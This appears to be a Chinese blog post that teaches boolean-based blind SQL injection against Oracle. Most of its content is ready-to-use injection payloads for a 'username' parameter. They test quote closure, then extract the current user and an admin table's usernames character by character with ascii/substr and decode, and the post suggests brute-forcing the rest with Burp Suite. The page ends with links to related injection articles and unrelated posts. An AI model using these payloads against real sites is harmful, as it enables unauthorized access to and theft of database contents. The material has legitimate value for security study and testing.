0X01判断闭合

?username=SMITH' 错误
?username=SMITH'' 正确
?username=SMITH' and ascii(substr((select user from dual),1,1))>82 

那么是‘闭合

0X02基于bool的盲注 根据返回信息判断

?username=SMITH' and ascii(substr((select user from dual),1,1))>82 --  正确
?username=SMITH' and ascii(substr((select user from dual),1,1))>83  -- 错误

那么user的第一个字母就是ascii码为83的

第二种基于bool的盲注入 decode (偷学)

decode(字段或字段的运算,值1,值2,值3)

这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3

当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多
使用方法:
比较大小

select decode(sign(变量1-变量2),-,变量1,变量2) from dual; --取较小值

sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1

例如:
变量1=10,变量2=20
则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。

SQL> select decode(sign(-),-,,) from dual;

DECODE(SIGN(-),-,,)
----------------------------

So 这里我们用decode进行注入

测试当前用户

select decode(user,'SYSTEM',,) from dual;

如果是system用户则返回1,不是则返回0.

SQL> select decode(user,'SYSTEM',,) from dual;

DECODE(USER,'SYSTEM',,)
------------------------- SQL> select decode(user,'SYS',,) from dual; DECODE(USER,'SYS',,)
----------------------

00XA

注入点中decode盲注的应用 判断当前用户是不是‘SCOTT'

?username=SMITH' and 1=decode((select user from dual),'SCOTT',1,0) -- 正确

当前也可以用字符逐个猜解,利用到substr()函数

?username=SMITH' and 1=decode(substr((select user from dual),1,1),'S',1,0) --

获取当前用户名的长度

?username=SMITH' and 1=decode(length((select user from dual)),5,1,0) --

判断字符的字符

abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.

判断username的第一个值

?username=SMITH' and 1=decode(substr((select username from admin where rownum=1),1,1),'a',1,0) --

概知道这些函数的用法 跑脚本爆破即可 burpsuite为例

通用盲注方法 逐字猜解

?username=SMITH' and ascii(substr((select username from admin where rownum=1),1,1))=97 --

谢谢卿哥哥哥哥 爱你

又收获这么多 舒舒服服

大哥带的Orchel数据库的盲注入bool型的更多相关文章

  1. 大哥带的Orchel数据库时间盲注

    0X01Oracle基于延时的盲注总结 0x00 前言 oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注: oracle的时间盲注通常 ...

  2. 大哥带的Orchel数据库的注入

    0X01 先进行判断 a.jsp?username=SMITH and = 发现单引号闭合  我们尝试构造闭合  存在注入 a.jsp?username=SMITH'='1 正确 a.jsp?user ...

  3. 大哥带的Orchel数据库的报错注入

    0X01 使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式. news.jsp? ...

  4. webgote的例子 数据库与sql注入的相关联系(1)

    大家好我是时光凉春衫薄 之前将讲的sql注入有点随便了我同事也觉得有些地方看不懂,往后的几天我尽量写的细一点.尽可能让大家能看懂.(新手出道大佬多多指教.欢迎评论批评.) 数据库与sql注入的相关联系 ...

  5. 数据库与sql注入的相关知识

    数据库与sql注入的相关知识 sql语句明显是针对数据库的一种操作,既然想通过sql注入的方法来拿取数据那么就要先了解一下如何的去操作数据库,这方面并不需要对数据库有多么的精通但是如果了解掌握了其中的 ...

  6. CentOS6.5下卸载自带的MySQL数据库安装MySQL5.6

    1)查看CentOS自带的mysql 输入 rpm -qa | grep mysql mysql-libs-5.1.71-1.el6.x86_64 2)将其自带的mysql版本全部卸载(非常重要,如不 ...

  7. 带你了解数据库中事务的ACID特性

    前言 前面我们介绍过数据库中 带你了解数据库中JOIN的用法 与 带你了解数据库中group by的用法的相关用法.本章节主要来介绍下数据库中一个非常重要的知识点事务,也是我们项目中或面试中经常会遇到 ...

  8. 带你了解数据库中group by的用法

    前言 本章主要介绍数据库中group by的用法,也是我们在使用数据库时非常基础的一个知识点.并且也会涉及Join的使用,关于Join的用法,可以看我写的上一篇文章:带你了解数据库中JOIN的用法如有 ...

  9. 【数据库】SQL注入攻击

    背景: 机房收费系统验收的时候,师父提到SQL注入攻击.自己以前看过类似的博客大概知道一些这方面的事情,于是自己动手查了查. 定义: 所谓SQL注入,通过SQL命令插入到Web表单提交或者输入域名或页 ...

随机推荐

  1. POJ 2253 Frogger(dijkstra 最短路

    POJ 2253 Frogger Freddy Frog is sitting on a stone in the middle of a lake. Suddenly he notices Fion ...

  2. C++中的多重继承(一)

    1,C++ 中是否允许一个类继承自多个父类? 1,可以: 2,这种情况就是多重继承: 3,多重继承的表象就是一个类有多个父类: 4,这是 C++ 非常特别的一个特性,在其他的程序设计语言中比如 C#. ...

  3. 如何快速的查找服务所在的进程id?

    执行 pgrep -l 服务名称 这里以查找redis所在的进程id为例 执行 pgrep -l redis 从图中可知进程id 为30058

  4. python-2:爬取某个网页(虎扑)帖子的标题做词云图

    关键词:requests,BeautifulSoup,jieba,wordcloud 整体思路:通过requests请求获得html,然后BeautifulSoup解析html获得一些关键数据,之后通 ...

  5. 详解vue全局组件与局部组件使用方法

    这篇文章主要为大家详细介绍了vue全局组件与局部组件的使用方法,具有一定的参考价值,对此有需要的朋友可以参考学习下.如有不足之处,欢迎批评指正. vue全局/局部注册,以及一些混淆的组件main.js ...

  6. 通过web.xml监听器启动main方法

    web.xml中添加要启动的类 <listener> <listener-class>server.NettyServer</listener-class> < ...

  7. numpy.random.uniform(记住文档网址)

    http://docs.scipy.org/doc/numpy/reference/generated/numpy.random.uniform.html#numpy.random.uniform h ...

  8. 第三小节之Java API

    1.String类和StringBuffer类 字符串中可以包含任意字符,这些字符必须包含在一对双引号” “之内 1.1String类 String a=null与String a="&qu ...

  9. keras,在 fit 和 evaluate 中 都有 verbose 这个参数

    1.fit 中的 verbose verbose:该参数的值控制日志显示的方式verbose = 0    不在标准输出流输出日志信息verbose = 1    输出进度条记录verbose = 2 ...

  10. 最简单的Android项目

    这是我在windows环境下,试验过的最简单Android项目,只用记事本和命令行即可完成. 环境准备 开发环境需要Java SDK(官网下载),Android SDK(官网下载). 首先安装Java ...